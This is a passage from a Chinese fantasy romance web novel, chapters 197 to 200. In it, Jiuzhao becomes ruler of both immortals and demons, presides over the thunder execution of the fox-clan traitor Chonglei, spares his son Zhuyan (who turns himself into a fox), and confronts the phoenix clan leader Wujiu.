九昭重复道:“我死,瀛罗能活吗?” “你!” 穹煌气得说不出话,“呼哧呼哧”喘息一阵,方不情不愿道,“与其说他依靠你的力量而活,倒不如说是在汲取你的寿数和生命力,你要那小子活,提前抽取自己的本源之力封存好便是!” “好,谢过老祖宗。” 九昭终于怀揣尊敬,真心实意道出一声。 穹煌没有半点被满足到的喜悦:“权柄、地位、力量……这些东西真的留不住你吗?” “我当过神姬。” 九昭淡声说道,“那时我身边有慈爱的父亲,有温柔的兄长,有无怨无悔陪伴着我的侍官,有友人,有同窗,有明媚的阳光和灿烂的鲜花,连从二清天云端里拂过来的风都是香的。 “如今,我除了权柄、地位和力量,一无所有。” 穹煌无言片刻。 叹出口气来:“好,我知道了。” 她不再多言其他。 话音落下,一股柔和却无法抗拒的力量包裹住九昭,将她推出崩塌的黑暗。 …… 时间漫长到仿佛过去了千百年。 意识重回肉/身,九昭睁开双眼,面前依旧是被火焰桎梏的扶胥,和门外敌意昭然的仙神。 她伸手,将几丈外悬挂于墙的母神画像收入掌心。 一阵青蓝光芒闪过,散发着神力气息的录影球取而代之出现。 “魔尊,你究竟想干什么!” 见她一动不动站了许久,持戟肃立的仙将再次高声质问道。 九昭不语,她手腕一抬,录影球旋即飞上天空,在所有人面前徐徐投射出清晰的画面。 那是神帝临终的坦言。 起先是对于巫劭和凤凰族的一系列算计和逼迫。 其后是当年那场“弑父”惨剧背后的实情和因果。 语声流转,真相大白。 录影术乃纪实之法,只能记录真实发生的场景,无法作假捏造。 画面一幕幕进行下去,原本同仇敌忾的众仙陷入沉默。 九昭以命相替之孝难以忽略,若将此不经意的错失判定为“弑君弑父”,实在是有违公允。 沉寂良久,司罚之神嶷山率先开口。 他的语气严厉依旧,却少了几分最初的痛恨:“即便真相如此,你私自动用迭命禁术是真,堕落焚业海,背弃仙道,身负业火之力亦是真——凡此种种,仍为天令所不容!” 九昭看向他,面对疾言厉色的指责,她手掌紧握成拳,旋即张开,掌心陡然迸发出无上神力! 蓝芒璀璨,论精纯程度,无人能及! “那、那是帝座的——” “她分明身受业火涤荡,如何还能用出神力?” “仙不是仙,魔不是魔,她究竟算什么……?” 人群中,有面目模糊的仙兵忍不住骇然低语,瞳孔中充满了难以置信。 九昭合拢手掌,敛去神光,几步走至门前,声音坚定而沉着:“我非仙,非魔,却又同时承载两族之力。我今日归来,非为复仇,亦非为称王称霸,只为终结仙魔纷争,求一个两族和平。” 宣告的当口,她左腕翻转,随手撤去对于扶胥的束缚。 “和平?” 鸦雀无声过后,一名伴侣殒命在魔族手中的仙将激动大喊,“你少在这里痴人说梦!魔族夺我仙族一清天,屠戮我同袍无数,如此血海深仇,如何能算?!” 九昭目光偏向他,漠然反问道:“那你们呢?当年将他们驱赶至怨气横生、贫瘠苦寒的焚业海时,又可曾留有一丝余地?这万年来,死于仙族征讨下的魔族,又有多少?这笔账,又该如何计算?” “你的血脉已被魔气污染,自然为他们说话! “魔就是魔,造孽之物,本就该死!” 纵然有双方沾染鲜血,恩怨如同乱麻的事实在前,多数仙族还是选择自欺欺人。 刻意忽视一丝说不清的心虚,与九昭相执者神容益发愤怒。 仙就是仙,魔就是魔。 自古正邪不两立,就算将魔族尽数杀了,那也是替天道匡扶正义! …… 根深蒂固的想法留存至今,谁也说服不了谁。 无形的杀意穿梭在对峙的两方之中。 就在场面逐渐滑向不可控时,九昭背后,异变骤生! 197| 第197章 ◎“恭迎九昭殿下重归帝位!”◎ 咫尺之外, 虚空骤然破碎。 令人无法直视的辉芒自裂隙深处奔涌而出,共同交织成一道顶天立地的虚像。 威压如潮,卷涌全场。 虚像亦从朦胧状态快速凝实, 先是面孔, 再是躯干,逐渐勾勒出属于女性的伟岸身影。 修为稍弱的仙兵不及目视容颜,瞬间被无形的力量压制,战战兢兢伏倒在地。 就连如扶胥、朱曜般三清天有名有姓的强者, 也一时神魂巨震,无端涌现跪拜叩首的敬畏之情。 “痴儿们……还执迷不悟吗?” 女像开口,宏大的声音仿佛穿越万古时空, 传入在场每一位仙神耳际。 纵使未曾亲眼见证过祖神的模样,但那股令仙力激荡,血脉共鸣的磅礴气息,凭谁都不会认错。 短暂死寂过后, 贵为神帝的扶胥拱手下跪:“恭迎祖神降临。” 在所有庄重行礼的人群中, 唯有九昭肩脊挺得笔直, 留下一道倔强的背影。 穹煌垂眸打量她一眼,又望向远处那一张张或茫然、或惊愕、或虔诚的面孔: “昔日, 吾神力散尽, 即将身归混沌,因心系后裔未来, 恐两方争斗不休酿成无可挽回的大错, 故而以清浊之气为界, 通过浅显的善恶判定, 将尔等划分为仙、魔、人三族。” 她的声音带着沉沉的叹息, 回荡在三清天的每一寸穹宇。 “除开在芸生世安居乐业的人族, 另外二者,乃吾毕生之憾…… “仙也好,魔也罢,尔等皆为吾之血脉,本为一体,何分正邪高低? “真正的恶,从不源于种族属性,而源于心。 “作恶者不加以引导,轻罪者不给予弥补的机会,困囿于蛮荒之地世世代代。无法解脱,则心生恶怨,怨气积聚不散,浸染天地,壮大焚业海的浊气,浊气凝聚,又反噬心神灵志—— “循环往复,才令隔阂愈深,仇杀不止,日益堕落。” “仙非全善,魔非全恶,两族争斗万年,岂知流的尽是同胞之血,伤的皆是吾之骨肉!” 穹煌的话语如同洪钟大吕,携带振聋发聩之力,敲击在众仙心神之上。 他们信仰的最高神祇,亲口否定了仙魔对立的根基,承认了自身最初的错误—— 这造成的冲击,远大于仙魔战争本身。 方才还梗着脖子的几名仙族将领,将头颅深埋臂弯,不再言语。 其余未曾流露愧悔者,也不觉陷入深思。 情知自身力量不济,难以长时间维持法相,见无人再出声强辩,穹煌当即掬起一簇神光,笼罩在站立的九昭身上:“吾之遗望,只愿天地真正回归和平。而九昭生于三清天,行于焚业海,见证黎民万象,感知人世疾苦,更身兼吾所遗留之神力与业火,平衡阴阳,乃当下唯一能承载两族之力者! “今日,吾以祖神穹煌之名,钦定她为仙魔两界共主,终结纷乱,导正归途! “尔等,可愿遵从?” 三清天本就靠信仰立世,如今祖神发话,又有谁敢不从? 嶷山率先深深叩首,嗓音微颤:“谨遵祖神法旨!” “谨遵祖神法旨!” 在他之后,从将领到兵卒,叩首遵旨的声响不断加入,由小溪汇成江海,最终响彻云霄。 扶胥看着半空中光辉万丈的祖神法相,视线又无声下移,落在神情坚毅平静的九昭面孔。 少顷,他抬起脚步,行至九昭眼前。 “我早说过,这个位置该是你的。” 他轻声说完这句话,亦撩起衣摆跪了下去: “祖神钦定,真相已明,扶胥德薄能鲜,愿退位让贤—— “臣,上神扶胥,恭迎九昭殿下重归帝位!” “恭迎九昭殿下重归帝位!” “恭迎九昭殿下重归帝位!” …… 滔天的山呼声中,九昭感受到的并非喜悦。 而是沉甸甸的责任,与说不出口的怅然。 穹煌的法身在她背后缓缓消散,仿佛从未出现。 一条崭新的道路,却于脚下铺陈开来。 …… 登临神帝之位仅是开始,九昭首先需要直面的,便是两大亟待解决的难题。 其一,是被魔族侵占已达四分之三的一清天领土归属问题。仙族虽表面臣服,但提及故土被占,依旧群情激愤。魔族则视那些以鲜血换来的土地为生存之基,绝无轻易让出的道理。 其二,则是如何处置“叛徒”。 凤凰族当年受先神帝算计逼迫,情有可原,九昭已当众赦免。 而九尾狐族不同。 他们内部不仅抱团紧密,藐视君主,只以族长马首是瞻,更在神志清醒的状态下,一而再,再而三地主动倒戈,心性如此摇摆不定,断不可再留于身侧,委以重任—— 且在与留守一清天的仙兵作战时,他们作为魔族先锋主力,下手狠辣,屠戮了许多昔日的仙胞。 亲近者的数度背叛,远比仇敌的算计更叫人难以承受。 这笔血债,仙族上下皆言“是可忍孰不可忍”。 …… 不见天内狱。 待领路的狱卒打开牢门,自觉退远后,祝晏解下遮面兜帽,沉声唤道: “父亲。” 崇黎倚墙而坐,须发凌乱。 他像是听见了青年的声音,又仿佛没有听见。 许久无人回应,祝晏弯曲膝盖,跪倒在他手边:“我求了昭、帝座来见您。” 他秾丽的眉眼凝着一缕哀伤,缄默再三,据实已告道: “如今帝座继任为仙魔共主,意欲求得两族和平共处之道,奈何九尾狐族的数度背叛屠戮,叫仙族无法谅解。帝座念及九尾狐族人数众多,不愿妄造杀业,因此下令……只对您一人处以极刑。 “儿臣今日来此,不仅是为再见您一眼,更为帝座带来旨意。 “帝座道,若您愿当众忏悔过错,她会……留您一个全尸。” 叫儿子来宣告父亲的死讯,不可谓不残忍。 但祝晏也明白,九昭此举,只为叫他和整个九尾狐族与父亲彻底划清界限。 唯有如此,才能将罪过加诸一人,而令其余族人免于被迁怒受刑。 简短几句话,祝晏道得艰难。 闻听自己的死讯,崇黎眸中飞快闪过一丝了然。 他没有继续沉默以待,冷不丁出声道:“被祖神亲自任命又如何?她九昭只不过是个乳臭未干的黄毛丫头,昔日嗣辰都被我算计的团团转,如今叫我臣服于她,还要在众仙面前忏悔过错?休想!” 祝晏一言不发听着父亲的叫骂,袖中的手悄然握紧。 谁知他这副态度,令崇黎情绪愈发激动,转而指着他的鼻子怒斥: “还有你!我怎么会生出你这个孽子!优柔寡断,感情用事,为了个女人连父亲族人尽可抛却! “成日沉溺于儿女情长,毫无魄力,除了张脸没半点我和你母亲的影子!我告诉你,从我决定走上这条路开始,我就没想过回头!也没你这种被女人迷了心窍的儿子! “你给我滚,从这里滚出去——我再也不想见到你!!” 崇黎的骂声在狭小牢房里回荡,极尽尖酸刻薄。 然而,祝晏却从他激动闪烁的目光最深处,捕捉到了一丝异样的情绪—— 那不是愤怒,而是急切,与一种近乎于切割的决然。 祝晏忽然明白了。 父亲不是在骂他,而是领悟了九昭行此举的用意。 ……是在保护他。 用最决绝的方式与他划清界限,将他从“崇黎之子”这个罪孽深重的身份中剥离出去。 做给牢房里的监视者看,也做给所有的仙族看。 祝晏从来认为,自己这位父亲,一生机心深沉,为了达成目的,可以面不改色编织一个又一个谎言,可以将他这个与心爱女儿诞下的孩子丢在泥泞里,放任他被孟楚和神王妃欺辱打压。 可在最后关头,他所能想到的,竟是用这种自污并断绝关系的方式,为他谋取生机。 当恨不能恨,爱难以爱。 祝晏只觉自己的心被放置于沸水之中,忍耐着渐次加重的剧痛,一寸一寸烹至烂熟。 崇黎像是骂累了。 伸手过来想要打他一巴掌。 沉重的锁链碌碌作响,即将触碰到青年面孔之际,那苍白的手腕仿佛承受不住重量,被带得向下一坠——于是,崇黎的手掌也仅是不轻不重拍过他的肩膀。 “滚吧。 “去过你那成为九昭入幕之宾的好日子—— “以后、哪怕我死,也要过来祭奠!” 祝晏望着父亲那张因激动而扭曲的脸,望着他短短几十日,滑落鬓角藏也藏不住的白发。 最终什么也没说,只是深深地看了他一眼。 一眼,再一眼。 旋即转身,垂落面孔,缄默着,一步步离开了牢笼。 198| 第198章 ◎“他终于拿命,做出偿还了。”◎ 崇黎在狱中肆意辱骂的消息, 很快被呈送至九昭座前。 听仙官事无巨细地汇报完,有关两人会面的每一处细节,九昭姣妍的面孔霜色冻结。 “冥顽不灵。” 她檀口微张, 吐出冰冷结语, 当机立断下达命令,“传本座发旨,罪狐崇黎,屡叛上界, 屠戮同袍,更藐视法度,不思悔改。罪无可赦, 判以雷罚极刑,形神俱灭,即刻执行!” 旨意一出,诸多曾受九尾狐族反戈之苦的仙神顿觉快意。 处刑之地, 照旧设立在长生台, 仙众于四方云台站观。 当日, 罡风浩荡,三清天向来明媚的穹宇阴霾密布。 翻滚的雷霆时隐时现于云层之间, 间或响起沉闷压抑的隆隆声。 四名仙官押解着颈戴枷项的崇黎走上前来。 随着狱卒按在枷项的手掌使力, 他扑通一声跪倒在置有引雷针的行刑架下,看起来狼狈异常。 仙官们皆属司罚之神嶷山麾下, 对整套行刑的过程十分熟悉, 只见一人解开枷项, 另三人以仙术将桎梏崇黎手脚的四根锁链与行刑架相连——机括转动声骤响, 崇黎呈大字形状被徐徐吊挂上半空。 亲眼见证纠葛千年, 不共戴天的仇敌陌路, 快意之外,不少观刑仙族也不觉心生唏嘘。 而作为无数视线的聚焦所在,崇黎却浑然无谓。 蓬乱黑发向面孔两侧滑落,他倏忽高高仰起头颅,望着近在咫尺的天雷,“哈哈”大笑出声: “神仙寿与天齐,可天总有一日也会死去—— “我不过早去一步,九泉之下,静候尔等!” 他一改圆滑伪色,狷狂的大笑无比刺耳,笑声却在触及督刑者的面孔时戛然而止。 “……” 喉结上下滚动两圈,堪堪从齿关深处挤出二字:“阿……烈晴?” 一方是背弃的丈夫,一方是被背弃的妻子。 御座之上,望见崇黎陡然失色的神容,九昭恍若不察道: “时辰将至,烈晴仙官,便由你来监督行刑。” “是,帝座。” 烈晴转身朝九昭躬身行完一礼,复对上崇黎剧烈颤抖的眸光,低声说道: “……这是你欠我的。” 轻飘飘的几字,蕴含着无数汹涌而复杂的情绪。 怨怼、仇恨、眷恋、畅快、痛苦…… 最后回归诀别的阒寂。 言罢,她不再看他,并起两指,仙力流转,迅然点亮了行刑架顶那根直指苍穹的引雷针。 起先缓慢游弋的雷光,立刻从云端探出狰狞蛇形,对准下方的罪徒,蓄势待发! 就在雷罚即将劈落之际,一道强横的魔气却横空而来,阻断烈晴输出的仙力。 九昭眉峰半挑,只见祝晏身影如电,快步穿过人群,径直来到御座之下。 他没有丝毫犹豫,撩起衣袍便重重跪倒在地:“帝座,臣愿替父受过。” 话音未落,他已“砰砰砰”叩首三次。 再抬起头时,脸颊苍白如雪,那双总是蕴着秾丽风情的翠眸里,此刻只剩下近乎破碎的哀恳。 他终究还是来了。 九昭心中并无多少意外。 到底是血脉相连的生父,为他呕心沥血铺路万年,祝晏来与不来,皆在情理之中。 她能理解他内心的挣扎与痛苦。 然而,理解归理解,法度却不容徇私,帝威更不容挑衅。 “不允!”九昭的态度强硬,没有丝毫转圜的余地,“法度昭昭,罪责自有其主,岂容私相替代?” 正如九昭猜测祝晏到底下不了决心,今日会有一半概率到场求情—— 她的回绝,亦在青年的预料之中。 祝晏低垂颈项,视线落在坚硬反光的地面。 不见天内狱中,崇黎激动大骂、迫他离开的场景再次浮现。 那不是怨恨与决裂,是父亲在无望的境地之下,所能给予的最后庇护。 恩与爱,孝与忠,仿佛两座大山将人夹在中间,祝晏几乎喘不过气。 他已为她背叛了血脉、族人,以及应尽的责任。 如今……难道还要眼睁睁看着父亲灰飞烟灭,而自己独活? 某种深切的、无法两全的绝望攫住了青年的呼吸。 或许,唯有一条路,方能偿还生恩,亦在九昭心底……打下永恒的烙印。 喑然片刻,祝晏再度开口,眼中的犹豫被一种坚决的情绪取代:“天道公正,法度昭昭,臣亦是九尾狐族反叛三清天的主导者之一,臣愿与崇黎同承雷罚刑责,请帝座应允!” 他一而再,再而三违背旨意,当众纠缠求情的行径,终是点燃了九昭的怒意。她抿起嘴唇,弯曲指节,一下一下叩击在神座扶手之上,又好似一把尖锥,重重敲打在祝晏心底。 到第五声时,她终于停止动作,面上所有情绪尽数收敛,颔首应允: “既然你执意违抗本座法旨,罔顾天令,那便如你所愿——一同受刑罢。” “臣,拜谢帝座。” 祝晏深深叩首,仿佛得到的不是死刑判决,而是一种恩赐。 他直身而起,行到被吊挂的崇黎之下,跪地,阖目。 先有往昔的正妻督刑,后有寄予厚望的爱子求死。 短短一日之内,接连遭受两重巨大的打击,崇黎再也无法维持先前故作洒脱的姿态。他望向下方跪得笔直、闭目待死的祝晏,眼角难以抑制地泛起湿意:“阿晏……你又是何苦……” 祝晏没有回应,也无从回应。 他只觉疲惫不堪,而天地旷寂。 …… “行刑!” 凝视着这对并肩就死的父子,烈晴高喝。 雷罚骤落! 明煌电光撕裂长空,带着天道赫赫之威,骤然劈落在刑台之上! 难以想象的剧痛相继炸开,至阳之力如同万根烧红的钢针,疯狂刺入祝晏的经脉,灼烧他的神魂,撕扯他的肉身。牙关瞬间咬破嘴唇,腥甜的血液溢出,他却硬生生将一声痛哼压在了喉咙深处。 那年,九昭为治好他的弱症,强闯无日渊,与烛龙搏杀—— 经受的,也是这种痛苦吗? 因他的背叛,后来三千年,她挣扎在生不如死之间,以七日为一次轮回。 那种痛楚,是否比此刻更加持久、剧烈…… 一道,一道,又一道—— 视野开始模糊,耳际只剩下雷罚的咆哮声,和骨骼皮肉不堪重负的哀鸣。意识在纯粹的、毁灭性的痛苦中迅速剥离、涣散。祝晏不再去数第几道,只是被动地承受着,等待最终的死亡到来。 在意识彻底沉入黑暗的前一瞬,他忽而感到如释重负。 面对自己的过错—— 他终于拿命,做出偿还了。 199| 第199章 ◎“罢了。”◎ 痛楚是浩瀚之海, 祝晏的意识则是飘摇其间,随时会被倾覆的扁舟。 他原以为如同风暴吞噬船只,自己的性命也会在巨浪颠簸中走向终结。 远处却陡然亮起一缕光线。 那光线起初幽渺, 不多时逐渐扩散, 无声驱逐起伸手不见五指的黑暗。 一股源自花卉的香气,亦随着光亮的弥漫,萦入他的鼻尖。 如此清馥。 如此熟悉。 …… 祝晏吃力撩起眼皮,涣散的视线聚焦许久, 头顶幔帐垂落的薄影缓缓映进眸底。 那是整片鲛人族出产的珍贵纱料,于靠近墙壁的那侧,还绣有织金错彩的凤凰。 如今的三清天, 能使用此图样的唯有一人。 这是九昭的寝宫。 他竟然躺在她的床榻之上。 意识到这点,祝晏的目光阵阵发直,巨大的恍惚感刹那将他淹没。 自己还……活着? 不是应该在长生台的雷罚之下,魂飞魄散了吗……? 不久前亲身经历过的痛苦回忆倒灌入脑海, 正当祝晏勉力分辨其中哪点出现谬误之际, 一道女声自床畔传来, 冷淡的语调未见对于他“死而复生”的任何惊喜:“既然醒了,怎么不说话—— “莫不成, 是那几道天雷将你劈傻了。” 循声艰难转过头, 一动不动时的麻木感遽然褪去,身体如实反馈着雷罚留下的撕裂和灼痛。 祝晏口中抽气一声, 两眼却是怔怔盯住九昭。 如同生于暗处长于暗处的幽魂, 倏尔遇见一生前所未见的光。 九昭被他看得不自在, 继续淡淡道:“别一副活见鬼的样子, 你我之间血契未解, 有本座的力量护住你的心脉神魂, 便是九天雷罚,也夺不走你的命,只是重伤而已。” 过长的睫羽覆住下睑,抖颤两息,祝晏终于开口,齿关挤出沙哑声音:“帝座、为何要救我?” 难道,长生台前的冷言冷语,只为堵住其他神仙的悠悠之口。 她对他……还留有感情? 纵使反复告诫自己不该自作多情,这个念头发生的一瞬,青年因父亲身死而形同死灰的心底,又抑制不住萌现一点微弱的希冀。 他不错眼地注视着九昭漆黑的瞳孔,渴望从中寻找到零星情感。 九昭没有躲闪避及。 她放任祝晏贪婪地将自己一切神色变化端详了个遍,才道: “本座说过,兰祁扶胥两人已是极限,你若再背叛本座第三次,就一定会死。 “不过,没有你,也不会有本座身兼阴阳二火,成为神魔共主的今日。 “所以,你的死罪可免,本座许你活下去。” 仅是如此吗? 闻听九昭公事公办,将功过抵消的言语,祝晏的喉咙抽动着,酸楚直冲眼眶。 然而,九昭无暇顾及他的情绪。 她抱臂自床畔凳椅上站起,居高临下俯视:“本座有心饶过你,你却在长生台前替罪臣崇黎求情,那般顶撞本座,赐死你的旨意已下,群仙共同见证,断没有朝令夕改的道理—— “从此以后,你便不能再顶着祝晏的名号行走于世,三清天内,更无你的立足之地。 “本座会将你的伤势治好,但除了一条命,你什么都不会有。 “伤愈之后,回去焚业海也好,下往芸生世也罢,必得隐姓埋名,隐居度日。” 轻描淡写的话音,给出祝晏两条仅有的,且必须选择的道路。九昭刻意有所顿挫,留出几息以供他消化,又话锋一转,寒声道:“若身份败露,报至本座案前,本座不会容情,你依旧难逃一死。” 若要他选,已一无所有,残命半条,又有何值得珍惜。 只是打定主意赴死的过激心绪消退,祝晏想起自己肩上尚负有另一重责任。 “那九尾狐族呢?” 他讷声询问,“……若我不在,帝座会如何处置我的族人?” “这点你无需多虑。 “刑罚到你和崇黎这里为止,本座不会再迁怒他人。” 九昭答得斩钉截铁,沉吟少顷,如同对他的临终承诺般,吐出真实心意,“孟楚已然脱胎换骨,本座冷眼观察他几日,在风雨交加的三清天历练千年,他如今的行为举止皆进退有度,可堪托付。” 祝晏阖目,心下了然。 孟楚亦是九尾狐族的一份子,且拥有名正言顺的血统。 由他成为新任首领,料想大多数族民不会有异议。 只是,有亲眼目睹父亲率领全族反叛,独留自己和母亲一族在三清天等死的过往存在,孟楚的内心到底裂痕深种——即便他要上位,也与族民相隔嫌隙,再难恢复昔日铁板一块的局面。 九尾狐族不会被尽数皆灭,但想恢复仅次于凤凰族的强盛,恐怕再无可能。 施以手段,制衡分裂,这是九昭充分权衡之后,最冷静也最彻底的处理。 她给了他生路,却剥夺了他的一切: 身份、地位、族人、未来……以及,留在她身边的任何可能。 祝晏勾起嘴角,试图自嘲。 唇线颤动半晌,却见一抹比哭还难看的笑。 可九昭并未如此轻易放过他。 “还有此物。” 她话里的未尽之意,迫使祝晏睁开眼睛。 一抹胜雪的绒团匍匐在她掌心,纯洁无瑕的颜色与浅淡白光辉映,刺痛祝晏的眼球。 那是他的初生尾。 是他当年为取得九昭信任,自残斩断,作为誓言凭证赠予她的初生尾。 所谓誓言凭证,亦是谎言。 父亲看重他,私下里一切狐族珍宝皆予取予求——见用尽手段,九昭依然被旧情所伤,彼此关系进展缓慢,他才会依仗持有断尾之后的保命秘法,放手一搏,借此赢得她的动摇和信任。 虽不至于变回狐狸原形,再难修行,但初生尾毁去,他也会受到重创,失去半条命。 背叛九昭,强迫自己硬起心肠的前几十年。 祝晏无数次地想,既然对不起一个人,那么舍出半条命作为抵偿,也是应该的。 抱着这种想法,他等啊等。 等来了九昭弑父入狱的消息,却还是没有等来应受的惩罚。 望着莹然若新的狐尾,祝晏的薄唇接连张合几次,始终问不出口“为何”。 九昭的注意力亦陷在这团掌心之物中:“兰祁伙同二位神王于桃林反叛,大战过后,三清天痛失两境,父神中毒垂危,瀛罗身死,而你,更给了我最沉重的一击。 “若我还是被父神荫蔽在羽翼之下的幼稚神姬,我大约会气得吐血,气得嚎啕大哭,气得闭于常曦殿几千年,直到自己第三次被男人骗的糗事无人再提起。 “可我的身后无人,纵使心魔入骨,仿徨无依,我仍然要为三清天安定,勉力支撑大局。 “无数次,本座看着它,恨意难消,却没有下手毁去。 “我猜你将命脉赠予我,肯定有自保之法,毁去也于事无补。 “我更告诉自己,若有来日,定要亲手杀了你。” 相较作为倾听者的祝晏,越发惨白的面色,九昭说起这段话时,竟然是微笑的。 她覆手上去,指尖轻轻拨弄柔软绒毛,似拂过一段不堪又铭心刻骨的岁月: “而今,我却释然了。 “爱与恨,终究太费力气。 “本座尚有无数迫在眉睫的要事去做,无谓在你身上耗费心力。 “所以,晏郎,我们两清。” “不……” 祝晏挣扎欲起,却因剧痛跌回床榻,只能死死盯着那截尾巴,眼眶湿热一片。 泪水簌簌而下。 “不、不是这样的—— “你怎么能原谅,怎么能忘、忘记我—— “我宁愿你恨我,将我碎尸万段,将我的血肉掺在酒里喝下去—— “九昭,九昭,你绝不可以放下我!!” 他想忏悔,想告饶,想哽咽哀求,不要把东西还给他。 可所有言语在九昭那双已然彻底平静、再无波澜的眼眸前,都苍白得可笑。 她原谅了他。 也意味着,她决定彻底放下,将他从她的世界与记忆里彻底抹去。 这认知比雷罚加身更叫祝晏痛彻骨髓。 为什么不叫他死在长生台上。 为什么要让他活过来,然后再经受一次生不如死—— 如今,除却这条她施舍的、一无所有的残命,他还剩下什么? 万念俱灰,莫过如是。 一股极致的绝望将祝晏猛地攥紧。 就在九欲将初生尾放入他手中之际,他猛地抬手—— 并非接过,而是倾尽残存法力,狠狠一击! 嗖嗖嗖—— 从他掌心释放的三道金箭洞穿了狐尾的首中末三端。 遭受致命重创,血液洇湿绒毛,原本蓬松可掬的外形逐渐失色枯萎。 祝晏亦在这突如其来的剧变中,蓦然喷出一口鲜血。 紧接着,眉发从黑变白,身躯迅速变小,从修长人形退化为四肢着地的狐形。 …… 最终,逸散的魔气消失。 九昭探出的手停滞半空,目光尽处的床榻之上,唯剩一只神态虚弱的白狐。 它狭长的狐眼半挑,从下而上仰视九昭,眼底唯余对于生的渴望,再无一丝属于人的爱意不舍。 不愿被九昭遗忘。 祝晏干脆用最决绝的方式,先将她忘却。 “呦呦……” 白狐轻柔地叫了两声,四肢蜷起,以彰显弱小与无害——出于野兽的敏锐直觉,和一丝若有若无,说不清的眷恋,它很快认定眼前这位美丽的女子,将左右自己今后的命运。 九昭陷在青年自毁的错愕里,良久才回拢神志。 寝宫阒然无声,她只听见自己分外沉长的呼吸。 一只美丽的、皮毛皎洁的、毫无自保能力的狐狸。 无论投入焚业海还是芸生世,都很快会被捕猎者抓去剥皮抽筋。 脑海不由自主描绘着那一幕幕血腥的画面。 随之沉默握紧的拳头,令九昭发觉,她终究做不到全然无心。 …… “罢了。” 她深深呼出一口气。 展臂将白狐抱起,放入雪宝所栖的宽敞金笼里。 200| 第200章 ◎“你与我,终究都是凤凰。”◎ 焚业海常年苦寒, 而三清天的南陵却有着鲜明的四季之分。 正值春夏交替,曾掌管此地的木系神仙栽种的花草树植蓬勃葱茏,鲜妍锦簇。 无咎静立窗边, 透过这盛景, 忆及却是的自己那位于南陵更深处,沦为焦土寸草不生的故原。 日光暄暖,遍洒全身。 蕴含着充沛仙灵的空气被吸入脏腑,带来一阵排斥魔体的轻微刺痛。 无咎的身后有近侍悄步前来, 垂首低声向他禀告那个几乎传遍仙魔两界的消息。 每一字清晰吐露,若重石渐次投入深潭。 从九昭搜寻神帝魂魄取证,到祖神穹煌显灵, 钦任其为仙魔共主。 再到凤凰族万年冤屈,一朝得雪。 无咎默不作声听着,面容寂如古井。 唯独搭在窗台上的左手,指节一寸寸收紧, 泛出青白。 “知道了。” 待近侍禀告完毕, 他仅吐出三字, 声线平静,毫无波澜。 近侍却将头垂得更低, 不敢看他空荡的右侧袖管, 更不敢揣测那平静之下翻涌着什么: “族长,帝座她……总算为我族正名。” 无咎缓慢回首, 逆着光的瞳孔隐进阴霾里:“祖神同这个女人, 本就是一路人, 一个狠心将自己的后嗣分成三六九等, 无视低等者的苦痛, 一个先杀亲夫, 后为夺帝位,强迫亲父亡魂作证。 “心性如此投契,也难怪祖神死了万万年,还能活过来为她撑腰。” 近侍屏息,难以接话。 虽说祖神诞育了仙魔,可两族对待她的态度全然不同。 仙族将其颁诏的法令,说过的言语奉为圭臬。 而魔族却深以为恨。 如今愿意低头让步,与三清天暂时和平相处,不过是因为九昭过于强大,无人可以扳倒而已。 生存情况一日不曾改善。 痛苦一刻不曾消解。 压抑到极点,视死如归,两界依然会爆发大战。 只是人在屋檐下,不得不低头。 近侍陪伴无咎多年,到底担忧无咎再这般言行无忌,会惹下大祸。 战战兢兢片刻,复劝道:“族长,这是南陵,若传到紫微宫中,怕是、怕是不好……” “我如今都这般了,还怕什么?” 无咎听不得劝,寒声将他打断,面容亦沉下几分,“什么揭开凤凰族蒙冤的真相,她这么做不就是为了表演一番邀买人心吗?否则,最该看到录影球内容的是我们,她怎么不将其带来,或传我觐见!” 变作残废后,无咎的性子变得越发喜怒无常。 察觉其发怒的征兆,近侍不敢再多嘴。 他连忙跪倒请罪,冷汗自额头涔涔滑落。 良久,无咎才好似泄气般半垮肩膀,摆摆手道:“你先下去吧。” “是。” 近侍如蒙大赦,手脚并用膝行几步,至门口方趔趄着站起。可就在他拉开沉重门扉的瞬间,整个人却僵在原地,随即扑通一声重重跪倒,额头磕在冷硬的地面上,再不曾抬起—— 门外廊下,不知何时已静立一人。 那人身着正赤帝袍,金线密织的凤凰振翅欲飞于其上。 威仪无加,容光绝世,直叫天地黯然失色。 “拜、拜见帝座——” 以九昭如今的实力,再高深的结界法阵在她面前,皆形同虚设。 而无咎的大逆言论就发表在顷刻之前—— 难道是天非要在今日收走他们的性命?! 近侍颤抖起来,额头死死抵住地面。 就在他心想,传言人死时闭眼不看痛苦会减轻点之际,九昭终于开口: “抖什么?本座又不吃人。 “既然凤凰族长叫你们退下,就都退下吧。” 这种如同吩咐自家仆从,毫不见外的语气,又在无咎心上新添一份屈辱。 他竖起满身刺,不自知地防御起来。 眼见九昭闲庭信步地踏入屋内,他抢先在主位坐下,倔强垂眸:“不知帝座驾临,臣有失远迎。” 九昭对他这些幼稚且无意义的不敬行为视若无睹,随着左手侧转,一枚神力凝结的剔透光球悬于掌心。她干脆利落将录影球递至无咎眉睫:“你要的真相,皆在这里,慢慢看吧。” 无咎的视线一下被那光球慑住,喉结不受控制地上下滚动。 他伸出仅剩的左手,试图接过,又反握住座椅扶手,似是心有犹疑。 九昭也不催促,只淡淡道:“不是心有怨怼,质疑本座为何不先将这真相示于凤凰族?为何不传召你亲眼见证——怎么,眼下本座亲自给你送来,又不愿看了么?” 激将法总是在无咎这里出乎意料地好用。 九昭观察着他的神色,话方说到一半,就见他的眉眼浮现熟悉的屈辱感。 他不再犹豫,有些粗鲁地夺过录影球,注入神念,沉浸其中。 往事跟随神帝自叙的言语轰然开启。 为逼反凤凰族,他步步为营。 引诱女君太婀动心相许,制造阴差阳错,隔阂她与同胞亲弟巫劭的关系。 倚仗实力拥兵自重的恶名逐步传扬三清天。 以及最后,堕天前夜,抱憾终身的无缘相见。 …… 巫劭的血泪,何尝不是整个凤凰族的血泪。 无咎的呼吸感同身受地战栗起来。 九昭的话音又在这时涌入他的耳际:“本座给你个机会,今日之内,你可以畅所欲言,不必顾忌君臣纲纪,本座不会惩罚你。但若此次不说,下次再被本座知晓你背后议论,你必死无疑。” 无咎并不怕死,怕的只是九昭迁怒。 他深吸口气,像九昭求得“哪怕要降罪,也罪不及凤凰族”的保证,才道:“臣遵命。” “第一个问题。 “若叛天前夕,父神便公开尔等被冤的真相,且做出补偿,你可愿意回头?” 含冤受辱的愤怒仍在脑海翻涌,情绪激荡的无咎猛地睁眼望向她: “帝座以为,万载仇恨,无数枯骨,几番轻飘飘的补偿致歉便能勾销么? “臣是魔,而非圣。” “所以。” 九昭坦然回望他怨怒的眼神,“你不愿再为仙。” “事到如今,帝座问这些还有意义吗?” 